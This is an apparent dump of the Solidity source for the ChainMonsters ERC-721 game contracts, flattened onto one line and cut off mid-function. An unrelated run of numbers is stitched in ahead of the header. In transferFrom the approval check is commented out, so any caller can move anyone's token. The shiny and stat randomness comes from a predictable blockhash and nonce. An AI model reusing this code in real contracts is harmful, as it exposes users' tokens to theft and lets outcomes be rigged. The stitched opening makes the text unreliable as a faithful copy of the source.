63, 4615, 8009, 2469, 1435, 422, 374, 13, 288, 203, 5411, 4900, 18, 4479, 12, 4615, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 18007, 2996, 12, 2867, 2236, 16, 1731, 1578, 2478, 13, 3903, 1338, 43, 1527, 288, 203, 3639, 2583, 12, 4615, 6918, 63, 4615, 8009, 4479, 12, 4631, 10019, 203, 203, 3639, 309, 261, 4615, 6918, 63, 4615, 8009, 2469, 1435, 422, 374, 13, 288, 203, 5411, 2 ]
//Address: 0x3aaa175924a77ee4b40606f714b727331e430ece //Contract name: MonsterCreatorInterface //Balance: 0 Ether //Verification Date: 1/19/2018 //Transacion Count: 3 // CODE STARTS HERE pragma solidity ^0.4.11; contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <[email protected]> (https://github.com/dete) contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); } contract MonsterAccessControl { event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public adminAddress; /// @dev Access modifier for CEO-only functionality modifier onlyAdmin() { require(msg.sender == adminAddress); _; } } // This contract stores all data on the blockchain // only our other contracts can interact with this // the data here will be valid for all eternity even if other contracts get updated // this way we can make sure that our Monsters have a hard-coded value attached to them // that no one including us can change(!) contract MonstersData { address coreContract; // struct Monster { // timestamp of block when this monster was spawned/created uint64 birthTime; // generation number // gen0 is the very first generation - the later monster spawn the less likely they are to have // special attributes and stats // uint16 generation; uint16 hp; // health points uint16 attack; // attack points uint16 defense; // defense points uint16 spAttack; // special attack uint16 spDefense; // special defense uint16 speed; // speed responsible of who attacks first(!) uint16 typeOne; uint16 typeTwo; uint16 mID; // this id (from 1 to 151) is responsible for everything visually like showing the real deal! bool tradeable; //uint16 uID; // unique id // These attributes are handled by mappings since they would overflow the maximum stack //bool female // string nickname } // lv1 base stats struct MonsterBaseStats { uint16 hp; uint16 attack; uint16 defense; uint16 spAttack; uint16 spDefense; uint16 speed; } // lomonsterion struct used for travelling around the "world" // struct Area { // areaID used in-engine to determine world position // minimum level to enter this area... uint16 minLevel; } struct Trainer { // timestamp of block when this player/trainer was created uint64 birthTime; // add username string username; // current area in the "world" uint16 currArea; address owner; } // take timestamp of block this game was created on the blockchain uint64 creationBlock = uint64(now); } contract MonstersBase is MonsterAccessControl, MonstersData { /// @dev Transfer event as defined in current draft of ERC721. Emitted every time a monster /// ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); bool lockedMonsterCreator = false; MonsterAuction public monsterAuction; MonsterCreatorInterface public monsterCreator; function setMonsterCreatorAddress(address _address) external onlyAdmin { // only set this once so we (the devs) can't cheat! require(!lockedMonsterCreator); MonsterCreatorInterface candidateContract = MonsterCreatorInterface(_address); monsterCreator = candidateContract; lockedMonsterCreator = true; } // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; // array containing all monsters in existence Monster[] monsters; uint8[] areas; uint8 areaIndex = 0; mapping(address => Trainer) public addressToTrainer; /// @dev A mapping from monster IDs to the address that owns them. All monster have /// some valid owner address, even gen0 monster are created with a non-zero owner. mapping (uint256 => address) public monsterIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) ownershipTokenCount; mapping (uint256 => address) public monsterIndexToApproved; mapping (uint256 => string) public monsterIdToNickname; mapping (uint256 => bool) public monsterIdToTradeable; mapping (uint256 => uint256) public monsterIdToGeneration; mapping (uint256 => MonsterBaseStats) public baseStats; mapping (uint256 => uint8[7]) public monsterIdToIVs; // adds new area to world function _createArea() internal { areaIndex++; areas.push(areaIndex); } function _createMonster( uint256 _generation, uint256 _hp, uint256 _attack, uint256 _defense, uint256 _spAttack, uint256 _spDefense, uint256 _speed, uint256 _typeOne, uint256 _typeTwo, address _owner, uint256 _mID, bool tradeable ) internal returns (uint) { Monster memory _monster = Monster({ birthTime: uint64(now), hp: uint16(_hp), attack: uint16(_attack), defense: uint16(_defense), spAttack: uint16(_spAttack), spDefense: uint16(_spDefense), speed: uint16(_speed), typeOne: uint16(_typeOne), typeTwo: uint16(_typeTwo), mID: uint16(_mID), tradeable: tradeable }); uint256 newMonsterId = monsters.push(_monster) - 1; monsterIdToTradeable[newMonsterId] = tradeable; monsterIdToGeneration[newMonsterId] = _generation; require(newMonsterId == uint256(uint32(newMonsterId))); monsterIdToNickname[newMonsterId] = ""; _transfer(0, _owner, newMonsterId); return newMonsterId; } function _createTrainer(string _username, uint16 _starterId, address _owner) internal returns (uint mon) { Trainer memory _trainer = Trainer({ birthTime: uint64(now), username: string(_username), currArea: uint16(1), // sets to first area!, owner: address(_owner) }); // starter stats are hardcoded! if (_starterId == 1) { uint8[8] memory Stats = uint8[8](monsterCreator.getMonsterStats(1)); mon = _createMonster(0, Stats[0], Stats[1], Stats[2], Stats[3], Stats[4], Stats[5], Stats[6], Stats[7], _owner, 1, false); } else if (_starterId == 2) { uint8[8] memory Stats2 = uint8[8](monsterCreator.getMonsterStats(4)); mon = _createMonster(0, Stats2[0], Stats2[1], Stats2[2], Stats2[3], Stats2[4], Stats2[5], Stats2[6], Stats2[7], _owner, 4, false); } else if (_starterId == 3) { uint8[8] memory Stats3 = uint8[8](monsterCreator.getMonsterStats(7)); mon = _createMonster(0, Stats3[0], Stats3[1], Stats3[2], Stats3[3], Stats3[4], Stats3[5], Stats3[6], Stats3[7], _owner, 7, false); } } function _moveToArea(uint16 _newArea, address player) internal { addressToTrainer[player].currArea = _newArea; } // assigns ownership of monster to address function _transfer(address _from, address _to, uint256 _tokenId) internal { ownershipTokenCount[_to]++; monsterIndexToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; // clear any previously approved ownership exchange delete monsterIndexToApproved[_tokenId]; } // Emit Transfer event Transfer(_from, _to, _tokenId); } // Only admin can fix how many seconds per blocks are currently observed. function setSecondsPerBlock(uint256 secs) external onlyAdmin { //require(secs < cooldowns[0]); secondsPerBlock = secs; } } /// @title The external contract that is responsible for generating metadata for the monsters, /// it has one function that will return the data as bytes. contract ERC721Metadata { /// @dev Given a token Id, returns a byte array that is supposed to be converted into string. function getMetadata(uint256 _tokenId, string) public view returns (bytes32[4] buffer, uint256 count) { if (_tokenId == 1) { buffer[0] = "Hello World! :D"; count = 15; } else if (_tokenId == 2) { buffer[0] = "I would definitely choose a medi"; buffer[1] = "um length string."; count = 49; } else if (_tokenId == 3) { buffer[0] = "Lorem ipsum dolor sit amet, mi e"; buffer[1] = "st accumsan dapibus augue lorem,"; buffer[2] = " tristique vestibulum id, libero"; buffer[3] = " suscipit varius sapien aliquam."; count = 128; } } } contract MonsterOwnership is MonstersBase, ERC721 { string public constant name = "ChainMonsters"; string public constant symbol = "CHMO"; // The contract that will return monster metadata ERC721Metadata public erc721Metadata; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('tokensOfOwner(address)')) ^ bytes4(keccak256('tokenMetadata(uint256,string)')); function supportsInterface(bytes4 _interfaceID) external view returns (bool) { // DEBUG ONLY //require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d)); return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } /// @dev Set the address of the sibling contract that tracks metadata. /// CEO only. function setMetadataAddress(address _contractAddress) public onlyAdmin { erc721Metadata = ERC721Metadata(_contractAddress); } function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return monsterIndexToOwner[_tokenId] == _claimant; } function _isTradeable(uint256 _tokenId) external view returns (bool) { return monsterIdToTradeable[_tokenId]; } /// @dev Checks if a given address currently has transferApproval for a particular monster. /// @param _claimant the address we are confirming monster is approved for. /// @param _tokenId monster id, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return monsterIndexToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting monsters on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { monsterIndexToApproved[_tokenId] = _approved; } function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } function transfer (address _to, uint256 _tokenId) external { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any monsters (except very briefly // after a gen0 monster is created and before it goes on auction). require(_to != address(this)); // You can only send your own monster. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } /// @notice Grant another address the right to transfer a specific monster via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the monster that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve(address _to, uint256 _tokenId ) external { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a monster owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the monster to be transfered. /// @param _to The address that should take ownership of the monster. Can be any address, /// including the caller. /// @param _tokenId The ID of the monster to be transferred. /// @dev Required for ERC-721 compliance. function transferFrom (address _from, address _to, uint256 _tokenId ) external { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any monsters (except very briefly // after a gen0 monster is created and before it goes on auction). require(_to != address(this)); // Check for approval and valid ownership //require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } function totalSupply() public view returns (uint) { return monsters.length; } function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = monsterIndexToOwner[_tokenId]; require(owner != address(0)); } function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalMonsters = totalSupply(); uint256 resultIndex = 0; uint256 monsterId; for (monsterId = 0; monsterId <= totalMonsters; monsterId++) { if (monsterIndexToOwner[monsterId] == _owner) { result[resultIndex] = monsterId; resultIndex++; } } return result; } } /// @dev Adapted from memcpy() by @arachnid (Nick Johnson <[email protected]>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _memcpy(uint _dest, uint _src, uint _len) private view { // Copy word-length chunks while possible for(; _len >= 32; _len -= 32) { assembly { mstore(_dest, mload(_src)) } _dest += 32; _src += 32; } // Copy remaining bytes uint256 mask = 256 ** (32 - _len) - 1; assembly { let srcpart := and(mload(_src), not(mask)) let destpart := and(mload(_dest), mask) mstore(_dest, or(destpart, srcpart)) } } /// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <[email protected]>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) { var outputString = new string(_stringLength); uint256 outputPtr; uint256 bytesPtr; assembly { outputPtr := add(outputString, 32) bytesPtr := _rawBytes } _memcpy(outputPtr, bytesPtr, _stringLength); return outputString; } /// @notice Returns a URI pointing to a metadata package for this token conforming to /// ERC-721 (https://github.com/ethereum/EIPs/issues/721) /// @param _tokenId The ID number of the monster whose metadata should be returned. function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) { require(erc721Metadata != address(0)); bytes32[4] memory buffer; uint256 count; (buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport); return _toString(buffer, count); } } contract MonsterAuctionBase { // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; ChainMonstersCore public core; struct Auction { // current owner address seller; // price in wei uint256 price; // time when auction started uint64 startedAt; uint256 id; } // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut; // Map from token ID to their corresponding auction. mapping(uint256 => Auction) tokenIdToAuction; mapping(uint256 => address) public auctionIdToSeller; mapping (address => uint256) public ownershipAuctionCount; event AuctionCreated(uint256 tokenId, uint256 price, uint256 uID, address seller); event AuctionSuccessful(uint256 tokenId, uint256 price, address newOwner, uint256 uID); event AuctionCancelled(uint256 tokenId, uint256 uID); function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transfer(_receiver, _tokenId); } function _addAuction(uint256 _tokenId, Auction _auction) internal { tokenIdToAuction[_tokenId] = _auction; AuctionCreated( uint256(_tokenId), uint256(_auction.price), uint256(_auction.id), address(_auction.seller) ); } function _cancelAuction(uint256 _tokenId, address _seller) internal { Auction storage _auction = tokenIdToAuction[_tokenId]; uint256 uID = _auction.id; _removeAuction(_tokenId); ownershipAuctionCount[_seller]--; _transfer(_seller, _tokenId); AuctionCancelled(_tokenId, uID); } function _buy(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); uint256 price = auction.price; require(_bidAmount >= price); address seller = auction.seller; uint256 uID = auction.id; // Auction Bid looks fine! so remove _removeAuction(_tokenId); ownershipAuctionCount[seller]--; if (price > 0) { uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) if(seller != address(core)) { seller.transfer(sellerProceeds); } } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint256 bidExcess = _bidAmount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the auction is // removed before any transfers occur. msg.sender.transfer(bidExcess); // Tell the world! AuctionSuccessful(_tokenId, price, msg.sender, uID); return price; } function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } } contract MonsterAuction is MonsterAuctionBase, Ownable { bool public isMonsterAuction = true; uint256 public auctionIndex = 0; /// @dev The ERC-165 interface signature for ERC-721. /// Ref: https://github.com/ethereum/EIPs/issues/165 /// Ref: https://github.com/ethereum/EIPs/issues/721 bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d); function MonsterAuction(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); nonFungibleContract = candidateContract; ChainMonstersCore candidateCoreContract = ChainMonstersCore(_nftAddress); core = candidateCoreContract; } // only possible to decrease ownerCut! function setOwnerCut(uint256 _cut) external onlyOwner { require(_cut <= ownerCut); ownerCut = _cut; } function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, this, _tokenId); } function withdrawBalance() external onlyOwner { uint256 balance = this.balance; owner.transfer(balance); } function tokensInAuctionsOfOwner(address _owner) external view returns(uint256[] auctionTokens) { uint256 numAuctions = ownershipAuctionCount[_owner]; uint256[] memory result = new uint256[](numAuctions); uint256 totalAuctions = core.totalSupply(); uint256 resultIndex = 0; uint256 auctionId; for (auctionId = 0; auctionId <= totalAuctions; auctionId++) { Auction storage auction = tokenIdToAuction[auctionId]; if (auction.seller == _owner) { result[resultIndex] = auctionId; resultIndex++; } } return result; } function createAuction(uint256 _tokenId, uint256 _price, address _seller) external { require(_price == uint256(_price)); require(core._isTradeable(_tokenId)); require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, _tokenId); Auction memory auction = Auction( _seller, uint256(_price), uint64(now), uint256(auctionIndex) ); auctionIdToSeller[auctionIndex] = _seller; ownershipAuctionCount[_seller]++; auctionIndex++; _addAuction(_tokenId, auction); } function buy(uint256 _tokenId) external payable { //delete auctionIdToSeller[_tokenId]; // buy will throw if the bid or funds transfer fails _buy (_tokenId, msg.value); _transfer(msg.sender, _tokenId); } function cancelAuction(uint256 _tokenId) external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 price, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.price, auction.startedAt ); } function getPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return auction.price; } } contract ChainMonstersAuction is MonsterOwnership { function setMonsterAuctionAddress(address _address) external onlyAdmin { MonsterAuction candidateContract = MonsterAuction(_address); require(candidateContract.isMonsterAuction()); monsterAuction = candidateContract; } uint256 public constant PROMO_CREATION_LIMIT = 5000; uint256 public constant GEN0_CREATION_LIMIT = 5000; // Counts the number of monster the contract owner has created. uint256 public promoCreatedCount; uint256 public gen0CreatedCount; // its stats are completely dependent on the spawn alghorithm function createPromoMonster(uint256 _mId, address _owner) external onlyAdmin { // during generation we have to keep in mind that we have only 10,000 tokens available // which have to be divided by 151 monsters, some rarer than others // see WhitePaper for gen0/promo monster plan require(promoCreatedCount < PROMO_CREATION_LIMIT); promoCreatedCount++; uint8[8] memory Stats = uint8[8](monsterCreator.getMonsterStats(uint256(_mId))); uint8[7] memory IVs = uint8[7](monsterCreator.getGen0IVs()); uint256 monsterId = _createMonster(0, Stats[0], Stats[1], Stats[2], Stats[3], Stats[4], Stats[5], Stats[6], Stats[7], _owner, _mId, true); monsterIdToTradeable[monsterId] = true; monsterIdToIVs[monsterId] = IVs; } function createGen0Auction(uint256 _mId, uint256 price) external onlyAdmin { require(gen0CreatedCount < GEN0_CREATION_LIMIT); uint8[8] memory Stats = uint8[8](monsterCreator.getMonsterStats(uint256(_mId))); uint8[7] memory IVs = uint8[7](monsterCreator.getGen0IVs()); uint256 monsterId = _createMonster(0, Stats[0], Stats[1], Stats[2], Stats[3], Stats[4], Stats[5], Stats[6], Stats[7], this, _mId, true); monsterIdToTradeable[monsterId] = true; monsterIdToIVs[monsterId] = IVs; monsterAuction.createAuction(monsterId, price, address(this)); gen0CreatedCount++; } } // used during launch for world championship // can and will be upgraded during development with new battle system! // this is just to give players something to do and test their monsters // also demonstrates how we can build up more mechanics on top of our locked core contract! contract MonsterChampionship is Ownable { bool public isMonsterChampionship = true; ChainMonstersCore core; // list of top ten address[10] topTen; // holds the address current "world" champion address public currChampion; mapping (address => uint256) public addressToPowerlevel; mapping (uint256 => address) public rankToAddress; // try to beat every other player in the top10 with your strongest monster! // effectively looping through all top10 players, beating them one by one // and if strong enough placing your in the top10 as well function contestChampion(uint256 _tokenId) external { uint maxIndex = 9; // fail tx if player is already champion! // in theory players could increase their powerlevel by contesting themselves but // this check stops that from happening so other players have the chance to // become the temporary champion! if (currChampion == msg.sender) revert(); require(core.isTrainer(msg.sender)); require(core.monsterIndexToOwner(_tokenId) == msg.sender); uint myPowerlevel = core.getMonsterPowerLevel(_tokenId); // checks if this transaction is useless // since we can't fight against ourself! // also stops reentrancy attacks require(myPowerlevel > addressToPowerlevel[msg.sender]); uint myRank = 0; for (uint i=0; i<=maxIndex; i++) { //if (addres) if ( myPowerlevel > addressToPowerlevel[topTen[i]] ) { // you have beaten this one so increase temporary rank myRank = i; if (myRank == maxIndex) { currChampion = msg.sender; } } } addressToPowerlevel[msg.sender] = myPowerlevel; address[10] storage newTopTen = topTen; if (currChampion == msg.sender) { for (uint j=0; j<maxIndex; j++) { // remove ourselves from this list in case if (newTopTen[j] == msg.sender) { newTopTen[j] = 0x0; break; } } } for (uint x=0; x<=myRank; x++) { if (x == myRank) { newTopTen[x] = msg.sender; } else { if (x < maxIndex) newTopTen[x] = topTen[x+1]; } } topTen = newTopTen; } function getTopPlayers() external view returns ( address[10] players ) { players = topTen; } function MonsterChampionship(address coreContract) public { core = ChainMonstersCore(coreContract); } function withdrawBalance() external onlyOwner { uint256 balance = this.balance; owner.transfer(balance); } } // where the not-so-much "hidden" magic happens contract MonsterCreatorInterface is Ownable { uint8 public lockedMonsterStatsCount = 0; uint nonce = 0; function rand(uint8 min, uint8 max) public returns (uint8) { nonce++; uint8 result = (uint8(sha3(block.blockhash(block.number-1), nonce ))%max); if (result < min) { result = result+min; } return result; } function shinyRand(uint16 min, uint16 max) public returns (uint16) { nonce++; uint16 result = (uint16(sha3(block.blockhash(block.number-1), nonce ))%max); if (result < min) { result = result+min; } return result; } mapping(uint256 => uint8[8]) public baseStats; function addBaseStats(uint256 _mId, uint8[8] data) external onlyOwner { // lock" the stats down forever // since hp is never going to be 0 this is a valid check // so we have to be extra careful when adding new baseStats! require(data[0] > 0); require(baseStats[_mId][0] == 0); baseStats[_mId] = data; } function _addBaseStats(uint256 _mId, uint8[8] data) internal { baseStats[_mId] = data; lockedMonsterStatsCount++; } function MonsterCreatorInterface() public { // these monsters are already down and "locked" down stats/design wise _addBaseStats(1, [45, 49, 49, 65, 65, 45, 12, 4]); _addBaseStats(2, [60, 62, 63, 80, 80, 60, 12, 4]); _addBaseStats(3, [80, 82, 83, 100, 100, 80, 12, 4]); _addBaseStats(4, [39, 52, 43, 60, 50, 65, 10, 6]); _addBaseStats(5, [58, 64, 58, 80, 65, 80, 10, 6]); _addBaseStats(6, [78, 84, 78, 109, 85, 100, 10, 6]); _addBaseStats(7, [44, 48, 65, 50, 64, 43, 11, 14]); _addBaseStats(8, [59, 63, 80, 65, 80, 58, 11, 14]); _addBaseStats(9, [79, 83, 100, 85, 105, 78, 11, 14]); _addBaseStats(10, [40, 35, 30, 20, 20, 50, 7, 4]); _addBaseStats(149, [55, 50, 45, 135, 95, 120, 8, 14]); _addBaseStats(150, [91, 134, 95, 100, 100, 80, 2, 5]); _addBaseStats(151, [100, 100, 100, 100, 100, 100, 5, 19]); } // this serves as a lookup for new monsters to be generated since all monsters // of the same id share the base stats function getMonsterStats( uint256 _mID) external constant returns(uint8[8] stats) { stats[0] = baseStats[_mID][0]; stats[1] = baseStats[_mID][1]; stats[2] = baseStats[_mID][2]; stats[3] = baseStats[_mID][3]; stats[4] = baseStats[_mID][4]; stats[5] = baseStats[_mID][5]; stats[6] = baseStats[_mID][6]; stats[7] = baseStats[_mID][7]; } // generates randomized IVs for a new monster function getMonsterIVs() external returns(uint8[7] ivs) { bool shiny = false; uint16 chance = shinyRand(1, 8192); if (chance == 42) { shiny = true; } // IVs range between 0 and 31 // stat range modified for shiny monsters! if (shiny == true) { ivs[0] = uint8(rand(10, 31)); ivs[1] = uint8(rand(10, 31)); ivs[2] = uint8(rand(10, 31)); ivs[3] = uint8(rand(10, 31)); ivs[4] = uint8(rand(10, 31)); ivs[5] = uint8(rand(10, 31)); ivs[6] = 1; } else { ivs[0] = uint8(rand(0, 31)); ivs[1] = uint8(rand(0, 31)); ivs[2] = uint8(rand(0, 31)); ivs[3] = uint8(rand(0, 31)); ivs[4] = uint8(rand(0, 31)); ivs[5] = uint8(rand(0, 31)); ivs[6] = 0; } } // gen0 monsters profit from shiny boost while shiny gen0s have potentially even higher IVs! // further increasing the rarity by also doubling the shiny chance! function getGen0IVs() external returns (uint8[7] ivs) { bool shiny = false; uint16 chance = shinyRand(1, 4096); if (chance == 42) { shiny = true; } if (shiny) { ivs[0] = uint8(rand(15, 31)); ivs[1] = uint8(rand(15, 31)); ivs[2] = uint8(rand(15, 31)); ivs[3] = uint8(rand(15, 31)); ivs[4] = uint8(rand(15, 31)); ivs[5] = uint8(rand(15, 31)); ivs[6] = 1; } else { ivs[0] = uint8(rand(10, 31)); ivs[1] = uint8(rand(10, 31)); ivs[2] = uint8(rand(10, 31)); ivs[3] = uint8(rand(10, 31)); ivs[4] = uint8(rand(10, 31)); ivs[5] = uint8(rand(10, 31)); ivs[6] = 0; } } function withdrawBalance() external onlyOwner { uint256 balance = this.balance; owner.transfer(balance); } } contract GameLogicContract { bool public isGameLogicContract = true; function GameLogicContract() public { } } contract ChainMonstersCore is ChainMonstersAuction, Ownable { // using a bool to enable us to prepare the game bool hasLaunched = false; // this address will hold future gamelogic in place address gameContract; function ChainMonstersCore() public { adminAddress = msg.sender; _createArea(); // area 1 _createArea(); // area 2 } // we don't know the exact interfaces yet so use the lockedMonsterStats value to determine if the game is "ready" // see WhitePaper for explaination for our upgrade and development roadmap function setGameLogicContract(address _candidateContract) external onlyOwner { require(monsterCreator.lockedMonsterStatsCount() == 151); require(GameLogicContract(_candidateContract).isGameLogicContract()); gameContract = _candidateContract; } // only callable by gameContract after the full game is launched // since all additional monsters after the promo/gen0 ones need to use this coreContract // contract as well we have to prepare this core for our future updates where // players can freely roam the world and hunt ChainMonsters thus generating more function spawnMonster(uint256 _mId, address _owner) external { require(msg.sender == gameContract); uint8[8] memory Stats = uint8[8](monsterCreator.getMonsterStats(uint256(_mId))); uint8[7] memory IVs = uint8[7](monsterCreator.getMonsterIVs()); // important to note that the IV generators do not use Gen0 methods and are Generation 1 // this means there won't be more than the 10,000 Gen0 monsters sold during the development through the marketplace uint256 monsterId = _createMonster(1, Stats[0], Stats[1], Stats[2], Stats[3], Stats[4], Stats[5], Stats[6], Stats[7], _owner, _mId, true); monsterIdToTradeable[monsterId] = true; monsterIdToIVs[monsterId] = IVs; } // used to add playable content to the game // monsters will only spawn in certain areas so some are locked on release // due to the game being in active development on "launch" // each monster has a maximum number of 3 areas where it can appear // function createArea() public onlyAdmin { _createArea(); } function createTrainer(string _username, uint16 _starterId) public { require(hasLaunched); // only one trainer/account per ethereum address require(addressToTrainer[msg.sender].owner == 0); // valid input check require(_starterId == 1 || _starterId == 2 || _starterId == 3 ); uint256 mon = _createTrainer(_username, _starterId, msg.sender); // due to stack limitations we have to assign the IVs here: uint8[7] memory IVs = uint8[7](monsterCreator.getMonsterIVs()); monsterIdToIVs[mon] = IVs; } function changeUsername(string _name) public { require(addressToTrainer[msg.sender].owner == msg.sender); addressToTrainer[msg.sender].username = _name; } function changeMonsterNickname(uint256 _tokenId, string _name) public { // users won't be able to rename a monster that is part of an auction require(_owns(msg.sender, _tokenId)); // some string checks...? monsterIdToNickname[_tokenId] = _name; } function moveToArea(uint16 _newArea) public { // never allow anyone to move to area 0 or below since this is used // to determine if a trainer profile exists in another method! require(_newArea > 0); // make sure that this area exists yet! require(areas.length >= _newArea); // when player is not stuck doing something else he can move freely! _moveToArea(_newArea, msg.sender); } // to be changed to retrieve current stats! function getMonster(uint256 _id) external view returns ( uint256 birthTime, uint256 generation, uint256 hp, uint256 attack, uint256 defense, uint256 spAttack, uint256 spDefense, uint256 speed, uint256 typeOne, uint256 typeTwo, uint256 mID, bool tradeable, uint256 uID ) { Monster storage mon = monsters[_id]; birthTime = uint256(mon.birthTime); generation = 0; // hardcoding due to stack too deep error hp = uint256(mon.hp); attack = uint256(mon.attack); defense = uint256(mon.defense); spAttack = uint256(mon.spAttack); spDefense = uint256(mon.spDefense); speed = uint256(mon.speed); typeOne = uint256(mon.typeOne); typeTwo = uint256(mon.typeTwo); mID = uint256(mon.mID); tradeable = bool(mon.tradeable); // hack to overcome solidity's stack limitation in monster struct.... uID = _id; } // this method only returns the "base" powerlevel of a monster which will be used // in more advanced fighting calculations later on function getMonsterPowerLevel(uint256 